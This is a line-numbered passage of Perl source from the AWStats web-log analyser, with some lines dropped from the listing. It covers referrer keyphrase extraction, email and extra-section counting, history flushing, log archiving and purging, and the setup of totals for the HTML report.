&ChangeWordSeparatorsIntoSpace
19314
; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg]
19316
$param =~ s/ +$//; # Trim
19317
$param =~ tr/ /\+/s;
19318
if ( ( length $param ) > 0 )
19320
$_keyphrases{$param}++;
19327
$LevelForKeywordsDetection >= 2 )
19328
{ # Search engine with unknown URL syntax
19329
foreach my $param (
19332
$KeyWordsNotSensitive
19338
my $foundexcludeparam = 0;
19339
foreach my $paramtoexclude (
19340
@WordsToCleanSearchUrl)
19343
/$paramtoexclude/i )
19345
$foundexcludeparam = 1;
19347
} # Not the param with search criteria
19349
if ($foundexcludeparam) {
19353
# We found good parameter
19356
# Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg"
19358
s/^(cache|related):[^\+]+//
19359
; # Should be useless since this is for hit on 'not pages'
19360
&ChangeWordSeparatorsIntoSpace(
19362
; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
19364
$param =~ s/ +$//; # Trim
19365
$param =~ tr/ /\+/s;
19366
if ( ( length $param ) > 2 ) {
19367
$_keyphrases{$param}++;
19372
} # End of elsif refurl[1]
19374
$SearchEnginesWithKeysNotInQuery{
19375
$tmprefererserver} )
19378
# debug("xxx".$refurl[0]);
19379
# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2)
19381
/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/
19385
&ChangeWordSeparatorsIntoSpace(
19387
$param =~ tr/ /\+/s;
19388
if ( ( length $param ) > 0 ) {
19389
$_keyphrases{$param}++;
19396
} # End of if ($TmpRefererServer)
19399
# This hit came from a site other than a search engine
19400
if ($PageBool) { $_from_p[3]++; }
19403
# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage
19404
#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; } # Code moved in Save_History
19405
# TODO: lowercase the value for referer server to have refering server not case sensitive
19406
if ($URLReferrerWithQuery) {
19408
$_pagesrefs_p{ $field[$pos_referer] }++;
19410
$_pagesrefs_h{ $field[$pos_referer] }++;
19414
# We discard query for referer
19415
if ( $field[$pos_referer] =~
19416
/$regreferernoquery/o )
19418
if ($PageBool) { $_pagesrefs_p{"$1"}++; }
19419
$_pagesrefs_h{"$1"}++;
19423
$_pagesrefs_p{ $field[$pos_referer] }++;
19425
$_pagesrefs_h{ $field[$pos_referer] }++;
19433
#if (! $found && $refererprot =~ /^news/i) {
19435
# if ($PageBool) { $_from_p[5]++; }
19443
if ($ShowUnknownOrigin) {
19444
print "Unknown origin: $field[$pos_referer]\n";
19446
if ($PageBool) { $_from_p[1]++; }
19452
if ( $pos_emails >= 0 && $field[$pos_emails] ) {
19453
if ( $field[$pos_emails] eq '<>' ) {
19454
$field[$pos_emails] = 'Unknown';
19456
elsif ( $field[$pos_emails] !~ /\@/ ) {
19457
$field[$pos_emails] .= "\@$SiteDomain";
19459
$_emails_h{ lc( $field[$pos_emails] ) }
19460
++; #Count accesses for sender email (hit)
19461
if ($pos_size>0){$_emails_k{ lc( $field[$pos_emails] ) } +=
19462
int( $field[$pos_size] )
19463
;} #Count accesses for sender email (kb)
19464
$_emails_l{ lc( $field[$pos_emails] ) } = $timerecord;
19466
if ( $pos_emailr >= 0 && $field[$pos_emailr] ) {
19467
if ( $field[$pos_emailr] !~ /\@/ ) {
19468
$field[$pos_emailr] .= "\@$SiteDomain";
19470
$_emailr_h{ lc( $field[$pos_emailr] ) }
19471
++; #Count accesses for receiver email (hit)
19472
if ($pos_size>0){$_emailr_k{ lc( $field[$pos_emailr] ) } +=
19473
int( $field[$pos_size] )
19474
;} #Count accesses for receiver email (kb)
19475
$_emailr_l{ lc( $field[$pos_emailr] ) } = $timerecord;
19481
if ( $pos_cluster >= 0 ) {
19483
$_cluster_p{ $field[$pos_cluster] }++;
19484
} #Count accesses for page (page)
19485
$_cluster_h{ $field[$pos_cluster] }
19486
++; #Count accesses for page (hit)
19487
if ($pos_size>0){$_cluster_k{ $field[$pos_cluster] } +=
19488
int( $field[$pos_size] );} #Count accesses for page (kb)
19493
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
19494
if ($Debug) { debug( " Process extra analyze $extranum", 4 ); }
19497
my $conditionok = 0;
19498
if ( $ExtraCodeFilter[$extranum] ) {
19500
my $condnum ( 0 .. @{ $ExtraCodeFilter[$extranum] } - 1 )
19504
" Check code '$field[$pos_code]' must be '$ExtraCodeFilter[$extranum][$condnum]'",
19508
if ( $field[$pos_code] eq
19509
"$ExtraCodeFilter[$extranum][$condnum]" )
19515
if ( !$conditionok && @{ $ExtraCodeFilter[$extranum] } ) {
19517
} # End for this section
19520
" No check on code or code is OK. Now we check other conditions.",
19528
foreach my $condnum ( 0 .. @{ $ExtraConditionType[$extranum] } - 1 )
19530
my $conditiontype = $ExtraConditionType[$extranum][$condnum];
19531
my $conditiontypeval =
19532
$ExtraConditionTypeVal[$extranum][$condnum];
19533
if ( $conditiontype eq 'URL' ) {
19536
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery'",
19540
if ( $urlwithnoquery =~ /$conditiontypeval/ ) {
19545
elsif ( $conditiontype eq 'QUERY_STRING' ) {
19548
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$standalonequery'",
19552
if ( $standalonequery =~ /$conditiontypeval/ ) {
19557
elsif ( $conditiontype eq 'URLWITHQUERY' ) {
19560
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$urlwithnoquery$tokenquery$standalonequery'",
19564
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
19565
/$conditiontypeval/ )
19571
elsif ( $conditiontype eq 'REFERER' ) {
19574
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_referer]'",
19578
if ( $field[$pos_referer] =~ /$conditiontypeval/ ) {
19583
elsif ( $conditiontype eq 'UA' ) {
19586
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_agent]'",
19590
if ( $field[$pos_agent] =~ /$conditiontypeval/ ) {
19595
elsif ( $conditiontype eq 'HOSTINLOG' ) {
19598
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_host]'",
19602
if ( $field[$pos_host] =~ /$conditiontypeval/ ) {
19607
elsif ( $conditiontype eq 'HOST' ) {
19608
my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
19611
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$hosttouse'",
19615
if ( $hosttouse =~ /$conditiontypeval/ ) {
19620
elsif ( $conditiontype eq 'VHOST' ) {
19623
" Check condision '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_vh]'",
19627
if ( $field[$pos_vh] =~ /$conditiontypeval/ ) {
19632
elsif ( $conditiontype =~ /extra(\d+)/i ) {
19635
" Check condition '$conditiontype' must contain '$conditiontypeval' in '$field[$pos_extra[$1]]'",
19639
if ( $field[ $pos_extra[$1] ] =~ /$conditiontypeval/ ) {
19646
"Wrong value of parameter ExtraSectionCondition$extranum"
19650
if ( !$conditionok && @{ $ExtraConditionType[$extranum] } ) {
19652
} # End for this section
19655
" No condition or condition is OK. Now we extract value for first column of extra chart.",
19660
# Determine actual column value to use.
19663
foreach my $rowkeynum (
19664
0 .. @{ $ExtraFirstColumnValuesType[$extranum] } - 1 )
19667
$ExtraFirstColumnValuesType[$extranum][$rowkeynum];
19668
my $rowkeytypeval =
19669
$ExtraFirstColumnValuesTypeVal[$extranum][$rowkeynum];
19670
if ( $rowkeytype eq 'URL' ) {
19671
if ( $urlwithnoquery =~ /$rowkeytypeval/ ) {
19677
elsif ( $rowkeytype eq 'QUERY_STRING' ) {
19680
" Extract value from '$standalonequery' with regex '$rowkeytypeval'.",
19684
if ( $standalonequery =~ /$rowkeytypeval/ ) {
19690
elsif ( $rowkeytype eq 'URLWITHQUERY' ) {
19691
if ( "$urlwithnoquery$tokenquery$standalonequery" =~
19699
elsif ( $rowkeytype eq 'REFERER' ) {
19700
if ( $field[$pos_referer] =~ /$rowkeytypeval/ ) {
19706
elsif ( $rowkeytype eq 'UA' ) {
19707
if ( $field[$pos_agent] =~ /$rowkeytypeval/ ) {
19713
elsif ( $rowkeytype eq 'HOSTINLOG' ) {
19714
if ( $field[$pos_host] =~ /$rowkeytypeval/ ) {
19720
elsif ( $rowkeytype eq 'HOST' ) {
19721
my $hosttouse = ( $HostResolved ? $HostResolved : $Host );
19722
if ( $hosttouse =~ /$rowkeytypeval/ ) {
19728
elsif ( $rowkeytype eq 'VHOST' ) {
19729
if ( $field[$pos_vh] =~ /$rowkeytypeval/ ) {
19735
elsif ( $rowkeytype =~ /extra(\d+)/i ) {
19736
if ( $field[ $pos_extra[$1] ] =~ /$rowkeytypeval/ ) {
19744
"Wrong value of parameter ExtraSectionFirstColumnValues$extranum"
19748
if ( !$rowkeyok ) { next; } # End for this section
19749
if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; }
19750
if ($Debug) { debug( " Key val found: $rowkeyval", 5 ); }
19752
# Apply function on $rowkeyval
19753
if ( $ExtraFirstColumnFunction[$extranum] ) {
19755
# Todo call function on string $rowkeyval
19758
# Here we got all values to increase counters
19759
if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) {
19760
${ '_section_' . $extranum . '_p' }{$rowkeyval}++;
19762
${ '_section_' . $extranum . '_h' }{$rowkeyval}++; # Must be set
19763
if ( $ExtraStatTypes[$extranum] =~ /B/i && $pos_size>0) {
19764
${ '_section_' . $extranum . '_k' }{$rowkeyval} +=
19765
int( $field[$pos_size] );
19767
if ( $ExtraStatTypes[$extranum] =~ /L/i ) {
19768
if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval}
19769
|| 0 < $timerecord )
19771
${ '_section_' . $extranum . '_l' }{$rowkeyval} =
19776
# Check to avoid too large extra sections
19778
scalar keys %{ '_section_' . $extranum . '_h' } >
19779
$ExtraTrackedRowsLimit )
19781
error(<<END_ERROR_TEXT);
19782
The number of values found for extra section $extranum has grown too large.
19783
In order to prevent awstats from using an excessive amount of memory, the number
19784
of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider
19785
revising extract parameters for extra section $extranum. If you are certain you
19786
want to track such a large data set, you can increase the limit by setting
19787
ExtraTrackedRowsLimit in your awstats configuration file.
19792
# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file
19793
if ( ++$counterforflushtest >= 20000 ) {
19795
#if (++$counterforflushtest >= 1) {
19796
if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 )
19797
|| ( scalar keys %_url_p ) > $LIMITFLUSH )
19800
# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files.");
19801
if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) {
19803
# We don't flush if perl is activestate to avoid slowing process because of memory hole
19807
# Clean tmp hash arrays
19808
#%TmpDNSLookup = ();
19809
%TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = ();
19811
# We flush if perl is not activestate
19812
print "Flush history file on disk";
19813
if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) {
19814
print " (unique hosts reach flush limit of "
19815
. ( $LIMITFLUSH << 2 ) . ")";
19817
if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) {
19818
print " (unique url reach flush limit of "
19819
. ($LIMITFLUSH) . ")";
19824
"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.",
19828
. ( scalar keys %_host_p )
19830
. ( scalar keys %_host_h )
19832
. ( scalar keys %_host_k )
19834
. ( scalar keys %_host_l )
19836
. ( scalar keys %_host_s )
19838
. ( scalar keys %_host_u ) . "\n";
19840
. ( scalar keys %_url_p )
19842
. ( scalar keys %_url_k )
19844
. ( scalar keys %_url_e )
19846
. ( scalar keys %_url_x ) . "\n";
19847
print " _waithost_e:"
19848
. ( scalar keys %_waithost_e )
19850
. ( scalar keys %_waithost_l )
19852
. ( scalar keys %_waithost_s )
19854
. ( scalar keys %_waithost_u ) . "\n";
19856
&Read_History_With_TmpUpdate(
19857
$lastprocessedyear,
19858
$lastprocessedmonth,
19860
$lastprocessedhour,
19864
( $lastlinenb + $NbOfLinesParsed ),
19868
&GetDelaySinceStart(1);
19869
$NbOfLinesShowsteps = 1;
19872
$counterforflushtest = 0;
19875
} # End of loop for processing new record.
19880
. ( scalar keys %_host_p )
19882
. ( scalar keys %_host_h )
19884
. ( scalar keys %_host_k )
19886
. ( scalar keys %_host_l )
19888
. ( scalar keys %_host_s )
19890
. ( scalar keys %_host_u ) . "\n",
19895
. ( scalar keys %_url_p )
19897
. ( scalar keys %_url_k )
19899
. ( scalar keys %_url_e )
19901
. ( scalar keys %_url_x ) . "\n",
19906
. ( scalar keys %_waithost_e )
19908
. ( scalar keys %_waithost_l )
19910
. ( scalar keys %_waithost_s )
19912
. ( scalar keys %_waithost_u ) . "\n",
19916
"End of processing log file (AWStats memory cache is TmpDNSLookup="
19917
. ( scalar keys %TmpDNSLookup )
19919
. ( scalar keys %TmpBrowser )
19921
. ( scalar keys %TmpOS )
19922
. " TmpRefererServer="
19923
. ( scalar keys %TmpRefererServer )
19925
. ( scalar keys %TmpRobot ) . ")",
19930
# Save current processed break section
19931
# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file
19932
if ( $lastprocesseddate > 0 )
19934
# TODO: Do not save if we are sure a flush was just already done
19936
seek( LOG, $lastlineoffset, 0 );
19940
if ( !$NbOfLinesParsed )
19942
# TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0
19943
&Read_History_With_TmpUpdate(
19944
$lastprocessedyear, $lastprocessedmonth,
19945
$lastprocessedday, $lastprocessedhour,
19947
"all", ( $lastlinenb + $NbOfLinesParsed ),
19948
$lastlineoffset, &CheckSum($line)
19952
&Read_History_With_TmpUpdate(
19953
$lastprocessedyear, $lastprocessedmonth,
19954
$lastprocessedday, $lastprocessedhour,
19956
"all", ( $lastlinenb + $NbOfLinesParsed ),
19957
$lastlineoffset, &CheckSum($line)
19962
if ($Debug) { debug("Close log file \"$LogFile\""); }
19963
close LOG || error("Command for pipe '$LogFile' failed");
19965
# Process the Rename - Archive - Purge phase
19969
# Open Log file for writing if PurgeLogFile is on
19970
if ($PurgeLogFile) {
19971
if ($ArchiveLogRecords) {
19972
if ( $ArchiveLogRecords == 1 ) { # For backward compatibility
19973
$ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log";
19977
"$DirData/${PROG}_archive$FileSuffix."
19978
. &Substitute_Tags($ArchiveLogRecords) . ".log";
19980
open( LOG, "+<$LogFile" )
19982
"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n"
19986
open( LOG, "+<$LogFile" );
19991
# Rename all HISTORYTMP files into HISTORYTXT
19992
&Rename_All_Tmp_History();
19994
# Purge Log file if option is on and all renaming are ok
19995
if ($PurgeLogFile) {
19997
# Archive LOG file into ARCHIVELOG
19998
if ($ArchiveLogRecords) {
19999
if ($Debug) { debug("Start of archiving log file"); }
20000
open( ARCHIVELOG, ">>$ArchiveFileName" )
20002
"Couldn't open file \"$ArchiveFileName\" to archive log: $!");
20003
binmode ARCHIVELOG;
20005
if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; }
20008
|| error("Archiving failed during closing archive: $!");
20009
if ($SaveDatabaseFilesWithPermissionsForEveryone) {
20010
chmod 0666, "$ArchiveFileName";
20012
if ($Debug) { debug("End of archiving log file"); }
20015
# If rename and archive ok
20016
if ( $renameok && $archiveok ) {
20017
if ($Debug) { debug("Purge log file"); }
20018
my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' );
20019
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
20020
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
20023
"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)."
20029
if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) {
20031
# DNSLookup warning
20032
my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' );
20033
my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' );
20034
my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' );
20036
"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed."
20039
if ( $DNSLookup == 1 && $NbOfNewLines ) {
20041
# Save new DNS last update cache file
20042
Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile",
20043
"$FileSuffix" ); # Save into file using FileSuffix
20046
if ($EnableLockForUpdate) {
20051
# Restore signals handler
20052
$SIG{INT} = 'DEFAULT'; # 2
20053
#$SIG{KILL} = 'DEFAULT'; # 9
20054
#$SIG{TERM} = 'DEFAULT'; # 15
20059
# End of log processing if ($UPdateStats)
20061
#---------------------------------------------------------------------
20063
#---------------------------------------------------------------------
20065
if ( scalar keys %HTMLOutput ) {
20067
debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 );
20068
debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 );
20070
# Define the NewLinkParams for main chart
20071
my $NewLinkParams = ${QueryString};
20072
$NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i;
20073
$NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i;
20074
$NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i;
20075
$NewLinkParams =~ s/(^|&|&)framename=[^&]*//i;
20076
my $NewLinkTarget = '';
20077
if ($DetailedReportsOnNewWindows) {
20078
$NewLinkTarget = " target=\"awstatsbis\"";
20080
if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' )
20081
&& $DetailedReportsOnNewWindows < 2 )
20083
$NewLinkParams .= "&framename=mainright";
20084
$NewLinkTarget = " target=\"mainright\"";
20086
$NewLinkParams =~ s/(&|&)+/&/i;
20087
$NewLinkParams =~ s/^&//;
20088
$NewLinkParams =~ s/&$//;
20089
if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; }
20091
if ( $FrameName ne 'mainleft' ) {
20097
# Lecture des fichiers history / reading history file
20098
if ( $DatabaseBreak eq 'month' ) {
20099
for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) {
20100
my $stringforload = '';
20101
my $monthix = sprintf( "%02s", $ix );
20102
if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) {
20103
$stringforload = 'all'; # Read full history file
20105
elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats )
20106
|| $HTMLOutput{'alldays'} )
20109
'general time'; # Read general and time sections.
20111
if ($stringforload) {
20113
# On charge fichier / file is loaded
20114
&Read_History_With_TmpUpdate( $YearRequired, $monthix, '',
20115
'', 0, 0, $stringforload );
20119
if ( $DatabaseBreak eq 'day' ) {
20120
my $stringforload = 'all';
20121
my $monthix = sprintf( "%02s", $MonthRequired );
20122
my $dayix = sprintf( "%02s", $DayRequired );
20123
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '',
20124
0, 0, $stringforload );
20126
if ( $DatabaseBreak eq 'hour' ) {
20127
my $stringforload = 'all';
20128
my $monthix = sprintf( "%02s", $MonthRequired );
20129
my $dayix = sprintf( "%02s", $DayRequired );
20130
my $hourix = sprintf( "%02s", $HourRequired );
20131
&Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix,
20132
$hourix, 0, 0, $stringforload );
20138
if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) {
20139
print "<a name=\"top\"></a>\n\n";
20140
my $newhead = $HTMLHeadSection;
20141
$newhead =~ s/\\n/\n/g;
20142
print "$newhead\n";
20146
# Call to plugins' function AddHTMLBodyHeader
20147
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) {
20148
my $function = "AddHTMLBodyHeader_$pluginname";
20152
my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
20155
#---------------------------------------------------------------------
20156
if ( $ShowMenu || $FrameName eq 'mainleft' ) {
20157
HTMLTopBanner($WIDTHMENU1);
20160
# Call to plugins' function AddHTMLMenuHeader
20161
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) {
20162
my $function = "AddHTMLMenuHeader_$pluginname";
20166
# MENU (ON LEFT IF FRAME OR TOP)
20167
#---------------------------------------------------------------------
20168
if ( $ShowMenu || $FrameName eq 'mainleft' ) {
20169
HTMLMenu($NewLinkParams, $NewLinkTarget);
20172
# Call to plugins' function AddHTMLMenuFooter
20173
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) {
20174
my $function = "AddHTMLMenuFooter_$pluginname";
20178
# Exit if left frame
20179
if ( $FrameName eq 'mainleft' ) {
20186
# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown
20187
$TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0;
20188
$TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0;
20189
$TotalHostsKnown = $TotalHostsUnknown = 0;
20190
my $beginmonth = $MonthRequired;
20191
my $endmonth = $MonthRequired;
20192
if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; }
20193
for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) {
20194
my $monthix = sprintf( "%02s", $month );
20195
$TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix }
20196
|| 0; # Wrong in year view
20197
$TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix }
20198
|| 0; # Wrong in year view
20199
$TotalUnique += $MonthUnique{ $YearRequired . $monthix }
20200
|| 0; # Wrong in year view
20201
$TotalVisits += $MonthVisits{ $YearRequired . $monthix }
20202
|| 0; # Not completely true
20203
$TotalPages += $MonthPages{ $YearRequired . $monthix } || 0;
20204
$TotalHits += $MonthHits{ $YearRequired . $monthix } || 0;
20205
$TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0;
20206
$TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix }
20208
$TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix }
20210
$TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix }
20214
# TotalHitsErrors TotalBytesErrors
20215
$TotalHitsErrors = 0;
20216
my $TotalBytesErrors = 0;
20217
foreach ( keys %_errors_h ) {
20219
# print "xxxx".$_." zzz".$_errors_h{$_};
20220
$TotalHitsErrors += $_errors_h{$_};
20221
$TotalBytesErrors += $_errors_k{$_};
20224
# TotalEntries (if not already specifically counted, we init it from _url_e hash table)
20225
if ( !$TotalEntries ) {
20226
foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; }
20229
# TotalExits (if not already specifically counted, we init it from _url_x hash table)
20230
if ( !$TotalExits ) {
20231
foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; }
20234
# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table)
20235
if ( !$TotalBytesPages ) {
20236
foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; }
20239
# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
20240
if ( !$TotalKeyphrases ) {
20241
foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; }
20244
# TotalKeywords (if not already specifically counted, we init it from _keywords hash table)
20245
if ( !$TotalKeywords ) {
20246
foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; }
20249
# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table)
20250
if ( !$TotalSearchEnginesPages ) {
20251
foreach ( keys %_se_referrals_p ) {
20252
$TotalSearchEnginesPages += $_se_referrals_p{$_};
20256
# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table)
20257
if ( !$TotalSearchEnginesHits ) {
20258
foreach ( keys %_se_referrals_h ) {
20259
$TotalSearchEnginesHits += $_se_referrals_h{$_};
20263
# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table)
20264
if ( !$TotalRefererPages ) {
20265
foreach ( keys %_pagesrefs_p ) {
20266
$TotalRefererPages += $_pagesrefs_p{$_};
20270
# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table)
20271
if ( !$TotalRefererHits ) {
20272
foreach ( keys %_pagesrefs_h ) {
20273
$TotalRefererHits += $_pagesrefs_h{$_};
20277
# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table)
20278
$TotalDifferentPages ||= scalar keys %_url_p;
20280
# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table)
20281
$TotalDifferentKeyphrases ||= scalar keys %_keyphrases;
20283
# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table)
20284
$TotalDifferentKeywords ||= scalar keys %_keywords;
20286
# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table)
20287
$TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h;
20289
# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table)
20290
$TotalDifferentReferer ||= scalar keys %_pagesrefs_h;
20292
# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime
20293
my $firstdaytocountaverage =
20294
$nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month
20295
my $firstdaytoshowtime =
20296
$nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month
20297
my $lastdaytocountaverage =
20298
$nowyear . $nowmonth . $nowday; # Set day cursor to today
20299
my $lastdaytoshowtime =
20300
$nowyear . $nowmonth . "31"; # Set day cursor to last day of month
20301
if ( $MonthRequired eq 'all' ) {
20302
$firstdaytocountaverage =
20304
. "0101"; # Set day cursor to 1st day of the required year
20306
if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' )
20307
|| $YearRequired ne $nowyear )
20309
if ( $MonthRequired eq 'all' ) {
20310
$firstdaytocountaverage =
20312
. "0101"; # Set day cursor to 1st day of the required year
20313
$firstdaytoshowtime =
20314
$YearRequired . "1201"
20315
; # Set day cursor to 1st day of last month of required year
20316
$lastdaytocountaverage =
20318
. "1231"; # Set day cursor to last day of the required year
20319
$lastdaytoshowtime =
20320
$YearRequired . "1231"
20321
; # Set day cursor to last day of last month of required year
20324
$firstdaytocountaverage =
20327
. "01"; # Set day cursor to 1st day of the required month
20328
$firstdaytoshowtime =
20331
. "01"; # Set day cursor to 1st day of the required month
20332
$lastdaytocountaverage =
20335
. "31"; # Set day cursor to last day of the required month
20336
$lastdaytoshowtime =
20339
. "31"; # Set day cursor to last day of the required month
20344
"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage",
20348
"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime",
20353
# Call to plugins' function AddHTMLContentHeader
20354
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } )
20356
# to add unique visitors & number of visits, by J Ruano @ CAPSiDE
20357
if ( $ShowDomainsStats =~ /U/i ) {
20358
print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
20360
if ( $ShowDomainsStats =~ /V/i ) {
20361
print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
20364
my $function = "AddHTMLContentHeader_$pluginname";
20368
# Output individual frames or static pages for specific sections
20369
#-----------------------
20370
if ( scalar keys %HTMLOutput == 1 ) {
20372
if ( $HTMLOutput{'alldomains'} ) {
20373
&HTMLShowDomains();
20375
if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
20378
if ( $HTMLOutput{'unknownip'} ) {
20379
&HTMLShowHostsUnknown();
20381
if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
20382
&HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget );
20385
if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
20386
&HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget );
20389
if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) {
20392
if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) {
20395
if ( $HTMLOutput{'urldetail'}
20396
|| $HTMLOutput{'urlentry'}
20397
|| $HTMLOutput{'urlexit'} )
20399
&HTMLShowURLDetail();
20401
if ( $HTMLOutput{'unknownos'} ) {
20402
&HTMLShowOSUnknown();
20404
if ( $HTMLOutput{'unknownbrowser'} ) {
20405
&HTMLShowBrowserUnknown();
20407
if ( $HTMLOutput{'osdetail'} ) {
20408
&HTMLShowOSDetail();
20410
if ( $HTMLOutput{'browserdetail'} ) {
20411
&HTMLShowBrowserDetail();
20413
if ( $HTMLOutput{'refererse'} ) {
20414
&HTMLShowReferers();
20416
if ( $HTMLOutput{'refererpages'} ) {
20417
&HTMLShowRefererPages();
20419
if ( $HTMLOutput{'keyphrases'} ) {
20420
&HTMLShowKeyPhrases();
20422
if ( $HTMLOutput{'keywords'} ) {
20423
&HTMLShowKeywords();
20425
if ( $HTMLOutput{'downloads'} ) {
20426
&HTMLShowDownloads();
20428
